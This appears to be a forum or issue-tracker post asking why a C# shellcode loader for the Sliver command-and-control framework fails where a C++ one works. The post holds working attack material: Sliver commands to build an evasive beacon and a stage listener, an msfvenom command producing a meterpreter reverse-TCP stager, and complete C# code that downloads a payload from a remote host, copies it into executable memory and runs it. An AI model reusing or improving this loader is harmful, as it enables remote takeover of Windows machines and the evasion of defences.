C# shellcode loader issue

[Si0uL]

Hello,

I was attempting to do both a C++ and a C# / .NET shellcode loader for sliver, using 2 stages (msfvenom downloader as stage 1, sliver tcp-stager functionality as stage 2). My C++ implementations works, by my C# / .NET implementation crashes with the Sliver shellcode, I get an "access denied 0x5" at shellcode run time.
Note that:

• Using a C++ similar loader works, and I get an implant callback
• My C# implementation works for simpler shellcode payloads (e.g., msgbox)
• I do see the tcp download of stage 2 in the logs, confirming that stage 1 execution worked (at least for its first part)
• I tried different variations of the C# code (statically defined shellcode, use or not of threads to start the payload)
• I also tried this version of the C# loader: https://github.com/Anon-Exploiter/sliver-cheatsheet/blob/main/payloads/csharp_shell.cs and have the same issue.

Does anyone have already run into this?
Thanks for your answers! 🙏

Steps performed:

profiles new beacon --http https://192.168.45.238:443 --format shellcode --arch x64 https_profile_238_sc --seconds 5 --evasion
stage-listener --url tcp://192.168.45.238:53 --profile https_profile_238_sc

msfvenom  --platform windows --format raw --arch x64 --payload windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 EXITFUNC=thread --out ~/share/payload.bin
# Functional test shellcode
# msfvenom -p windows/x64/messagebox -a x64 TEXT=hello64 TITLE=hello -f raw -v SHELLCODE EXITFUNC=thread --out ~/share/payload.bin

CS code

using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;


namespace test_dotnet
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static volatile int size;

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]  // most shellcodes expect cdecl
        private delegate void ShellcodeDelegate();

        static void Main(string[] args)
        {


            System.Net.WebClient client = new WebClient();
            byte[] buf = client.DownloadData("http://192.168.45.238/payload.bin");

            size = buf.Length;

            // PAGE_EXECUTE_READWRITE = 0x40
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            uint oldProtect = 0;
            VirtualProtect(addr, (uint)size, 0x40, out oldProtect);


            ShellcodeDelegate shellcodeFunc = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(addr, typeof(ShellcodeDelegate));
            //shellcodeFunc();

            // Run in a background thread so Main can sleep (mimics your C++ pattern)
            Thread t = new Thread(() => shellcodeFunc());
            t.IsBackground = true;
            t.Start();


            //CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            Thread.Sleep(Timeout.Infinite);
        }
    }
}